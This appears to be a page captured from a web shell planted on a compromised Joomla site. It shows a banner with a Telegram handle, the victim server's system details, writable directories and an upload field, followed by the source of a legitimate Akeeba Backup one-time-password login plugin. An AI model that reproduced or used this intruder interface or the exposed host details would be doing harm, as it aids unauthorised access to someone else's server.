https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/andreassugianto.com/public_html/plugins/system/oneclickaction/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/andreassugianto.com/public_html/plugins/system/oneclickaction/oneclickaction.php
<?php
/**
 * @package AkeebaBackup
 * @subpackage OneClickAction
 * @copyright Copyright (c)2011-2013 Nicholas K. Dionysopoulos
 * @license GNU General Public License version 3, or later
 *
 * @since 3.3
 */

defined('_JEXEC') or die();

// PHP version check
if(defined('PHP_VERSION')) {
	$version = PHP_VERSION;
} elseif(function_exists('phpversion')) {
	$version = phpversion();
} else {
	$version = '5.0.0'; // all bets are off!
}
if(!version_compare($version, '5.0.0', '>=')) return;

JLoader::import('joomla.application.plugin');

class plgSystemOneclickaction extends JPlugin
{
	/**
	 * Handles the onAfterInitialise event in Joomla!, logging in the user using
	 * the one time password and forwarding him to the action URL
	 */
	public function onAfterInitialise()
	{
		$app = JFactory::getApplication();

		// Only fire in administrator requests
		if(in_array($app->getName(),array('administrator','admin'))) {
			// Make sure it's an OneClickAction request
			$otp = JRequest::getCmd('oneclickaction','');
			if(empty($otp)) return;

			// Check that we do have a table!
			self::_checkInstallation();

			// Perform expiration control
			self::_expirationControl();

			// Make sure this OTP exists
			$db = JFactory::getDBO();
			$sql = $db->getQuery(true)
				->select('*')
				->from($db->qn('#__oneclickaction_actions'))
				->where($db->qn('otp').' = '.$db->q($otp));
			$db->setQuery($sql);
			$oca = $db->loadObject();
			if(empty($oca)) return;

			// Login the user
			$user = JFactory::getUser($oca->userid);
			JLoader::import( 'joomla.user.authentication');
			$app = JFactory::getApplication();
			$authenticate = JAuthentication::getInstance();
			$response = new JAuthenticationResponse();
			$response->status = JAuthentication::STATUS_SUCCESS;
			$response->type = 'joomla';
			$response->username = $user->username;
			$response->email = $user->email;
			$response->fullname = $user->name;
			$response->error_message = '';

			JPluginHelper::importPlugin('user');
			$options = array();

			JLoader::import('joomla.user.helper');
			$results = $app->triggerEvent('onLoginUser', array((array)$response, $options));

			JFactory::getSession()->set('user', $user);

			// Delete all similar OCA records
			$sql = $db->getQuery(true)
				->delete($db->qn('#__oneclickaction_actions'))
				->where($db->qn('actionurl').' = '.$db->q($oca->actionurl));
			$db->setQuery($sql);
			$db->execute();

			// Forward to the requested URL
			$app->redirect($oca->actionurl);
			$app->close();
		}
	}

	public function onOneClickActionEnabled()
	{
		return true;
	}

	/**
	 * Adds a new action URL and returns an one time password to access it. This
	 * is meant to be callable directly.
	 *
	 * @param int $userid The user ID to log in when the generated OTP is used
	 * @param string $actionurl The (relative) URL to redirect to, e.g. 'index.php?option=com_foobar'
	 * @param int $expireIn For how many seconds is this OTP valid. Default: 86400 (24 hours)
	 */
	public static function addAction($userid, $actionurl, $expireIn = 86400)
	{
		self::_checkInstallation();
		self::_expirationControl();

		$db = JFactory::getDBO();

		// Check that the action does not already exist
		$sql = $db->getQuery(true)
			->select('COUNT(*)')
			->from($db->qn('#__oneclickaction_actions'))
			->where($db->qn('actionurl').' = '.$db->q($actionurl))
			->where($db->qn('userid').' = '.$db->q($userid));
		$actionsCount = $db->loadResult();
		if($actionsCount) return '';

		// Create a randomized OTP
		JLoader::import('joomla.user.helper');
		$expire = gmdate('Y-m-d H:i:s', time() + (int)$expireIn);
		$otp = JUserHelper::genRandomPassword(64);
		$otp = strtoupper($otp);

		// Insert the OTP and action to the database
		$object = (object)array(
			'userid'	=> $userid,
			'actionurl'	=> $actionurl,
			'otp'		=> $otp,
			'expiry'	=> $expire,
		);
		$db->insertObject('#__oneclickaction_actions', $object);


		// If a DB error occurs, return null
		try {
			$db->execute();
		} catch (Exception $e) {
			return null;
		}

		// All OK, return the OTP
		return $otp;
	}

	/**
	 * Checks that the installation is complete, i.e. the table is created.
	 */
	private static function _checkInstallation()
	{
		if(!self::isMySQL()) return false;

		// @todo Move the SQL to the plugin package and do not run this on Joomla! 1.6 or later
		$db = JFactory::getDBO();
		$db->setQuery('DESCRIBE #__oneclickaction_actions');
		$test = $db->loadResult();
		if(is_null($test) || ($db->getError())) {
			$sql = <<<ENDSQL
CREATE TABLE `#__oneclickaction_actions` (
  `id` bigint(20) NOT NULL AUTO_INCREMENT,
  `userid` bigint(20) unsigned NOT NULL,
  `actionurl` varchar(4000) NOT NULL,
  `otp` char(64) NOT NULL,
  `expiry` datetime NOT NULL,
  PRIMARY KEY (`id`)
) DEFAULT CHARSET=utf8;
ENDSQL;
			$db->setQuery($sql);
			$result = $db->execute();
			return $result;
		}
		return true;
	}

	private static function _expirationControl()
	{
		$db = JFactory::getDBO();

		$now = gmdate('Y-m-d H:i:s');
		$now = $db->q($now);

		$sql = $db->getQuery(true)
			->delete($db->qn('#__oneclickaction_actions'))
			->where($db->qn('expiry').' <= '.$now);
		$db->setQuery($sql);
		$db->execute();
	}

	private static function isMySQL()
	{
		$db = JFactory::getDbo();
		return strtolower(substr($db->name, 0, 5)) == 'mysql';
	}
}

https://t.me/RX1948 - 2025